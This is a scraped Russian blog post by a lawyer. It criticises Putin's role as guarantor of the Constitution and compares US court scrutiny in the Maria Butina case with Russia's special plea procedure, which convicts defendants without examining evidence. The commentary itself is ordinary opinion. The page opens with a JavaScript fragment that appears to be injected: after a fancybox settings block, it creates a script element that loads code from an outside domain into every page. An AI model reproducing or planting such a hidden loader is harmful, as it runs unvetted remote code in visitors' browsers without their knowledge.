, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })
RSS
 

Почему юрист Владимир Путин не даёт правовой оценки происходящему в России?

15 Дек

Являясь много лет  по должности гарантом Конституции, обязанный обеспечивать волю народа, изложенную в Основном законе, Путин избегает правовой  оценки деятельности не только органов власти, но и назначаемых именно им должностных лиц осуществлять государственную власть, т.е. быть гарантом Конституции.

Например,  должностные лица МВД каждый раз убеждают Путина в том, что раскрываемость преступлений  56%.

Но Генеральный прокурор Юрий Чайка, неоднократно публично заявлял https://genproc.gov.ru/smi/interview_and_appearences/interview/547089/  , что ежегодно прокуроры выявляют массу случаев, когда людям отказывают в приеме их заявлений о преступлениях при наличии бесспорных поводов и оснований для возбуждения уголовного дела. Отмененные прокурорами постановления об отказе в возбуждении уголовного дела исчисляются миллионами.

Если в  заявлениях миллионов россиян содержатся «бесспорные поводы и основания для возбуждения уголовного дела», а лиц, совершивших эти деяния, правоохранительные органы не знают то, как может быть раскрываемость преступлений 56%?

Кто вводит гаранта Конституции в заблуждение, фактически злоупотребляя своим служебных положением, не исполняя свои должностные обязанности, Путин разбираться сам не желает, да и никаких поручений своей администрации не даёт.

Надо ли говорить какое напряжение всё это создаёт между двумя ведомствами?

По поводу россиянки Бутиной, что арестована в США, признала вину в участии в заговоре против США, сотрудничает со следствием и готова дать показания https://www.interfax.ru/world/642464?utm_source=yxnews&utm_medium=desktop    по новому делу,  идут нешуточные суждения высокопоставленных должностных лиц, убеждающих нас, как неправомерно с ней поступают.

Но при этом, не обращают внимание на тот факт, что от произвола должностных лиц правоохранительных органов Бутину защищает именно суд США.

Сообщается, что российские дипломаты готовились к суду присяжных и начали изучение материалов обвинения, значит, владели доказательственной базой, положенной в основу обвинения. Если не было достаточных доказательств для обвинения, то почему молчали? Почему не разъясняли недоказанность обвинений по каждому пункту?

Значит, понимали, что доказательства есть. Поэтому все СМИ ограничивались лишь суждениями должностных лиц МИДа, основанными на домыслах, что обвинения против Бутина является «откровенным произволом», дело против неё  «сфабриковано».

Но вот, что известно. В расследовании деятельности Бутиной принимало участие https://www.rbc.ru/politics/17/07/2018/5b4de9ee9a794707d1baf9bc   ФБР, которое получило доступ к ее переписке и содержимому ее телефона. В заключении спецагента ФБР Кевина Хельсона, приложенного к обвинению в отношении Бутиной, ей приписано пособничество в создании тайного канала связи между элитами Республиканской партии и российским руководством.

Однако самое главное в том, что именно суд США проверяет собранные по делу доказательства на относимость, допустимость, достоверность, а все собранные доказательства в совокупности ещё и на достаточность для разрешения уголовного дела.

Суд в США не ограничивается только тем, что россиянка Мария Бутина призналась в том, что вступила в сговор с рядом лиц с целью нанесения вреда США.

Что же мы имеем в России?

Как практикующий более 45 лет юрист могу  утверждать, что декларированной является статья 46 Конституции России, в которой утверждается, что каждому гарантируется судебная защита его прав и свобод.

Да, каждый может обжаловать в суде решения и действия (или бездействия) органов государственной власти и должностных лиц, но защиты своих прав или прав своих доверителей добьётся не всегда. И вот почему.

Статья 49 Конституции утверждает, что каждый обвиняемый в совершении преступления считается невиновным, пока его виновность не будет доказана в предусмотренном федеральным законом порядке.

Федеральный закон предписывает, что порядок уголовного судопроизводства, установленный УПК РФ является обязательным для судов, органов прокуратуры, органов предварительного следствия, органов дознания (часть 2 ст. 1 УПК РФ).

Кроме того, уголовное судопроизводство имеет своим назначением не только защиту прав потерпевших от преступлений,  но и защиту личности от незаконного и необоснованного обвинения, осуждения, ограничения её прав и свобод (Статья 6 УПК РФ).

Нарушение норм УПК РФ судом, прокурором, следователем… влечёт за собой признание недопустимыми полученных таким путём доказательств (статья 7 УПК РФ).

Казалось, что этим принципам обязаны следовать все, кто осуществляет законодательную и  правоприменительную деятельность.

Но вот, что сотворили  наши законодатели.

Пятнадцать лет тому назад законодатели  приняли закон, которым установили особый порядок судебного разбирательства при  согласии обвиняемого с предъявленным ему обвинением.

Этот особый порядок позволяет судьям не проводить в общем порядке исследование и оценку доказательств, собранных по уголовному делу (часть 5 статьи 316 УПК РФ).

Таким судопроизводством ежегодно осуждается 500−700 тысяч подсудимых, несчитаясь с тем, что признание обвиняемым своей вины в совершении преступления может быть положено в основу обвинения лишь при подтверждении его виновности совокупностью имеющихся по уголовному делу доказательств (часть 2 статьи 77 УПК РФ).

С таким осуждением согласился и гарант Конституции Владимир Путин, подписавший и обнародовавший такие дополнения в УПК РФ.

Причем, судьи не проверяют исполнение следователем требований статьи 171 УПК РФ о наличии достаточности доказательств, дающих основания для обвинения лица в совершении преступления. Кто-то из недоучивших УПК РФ посчитал, что такая проверка  может предрешать вопрос о виновности.

Теперь почувствуйте разницу.

В США суды, прежде  чем Бутину  арестовать или обвинить,  проводят в общем порядке исследование и оценку доказательств, собранных по уголовному делу, а в России около 70% подсудимых осуждают, не осуществляя такой работы.

Именно я, как частичка единственного источника власти в стране, многонационального народа, на примерах из практики, много лет  доказываю, что нам  нужен не Верховный Главнокомандующий Вооруженными Силами России, с этим справляется и  Министр обороны.

Нам  нужен гарант Конституции, способный, используя свои полномочия главы государства, обеспечить волю народа, изложенную в Основном законе страны.

 
Комментариев нет

Автор: ossin Категория: Прочие заметки

 

Оставить комментарий

Вы должны войти, чтобы оставить комментарий.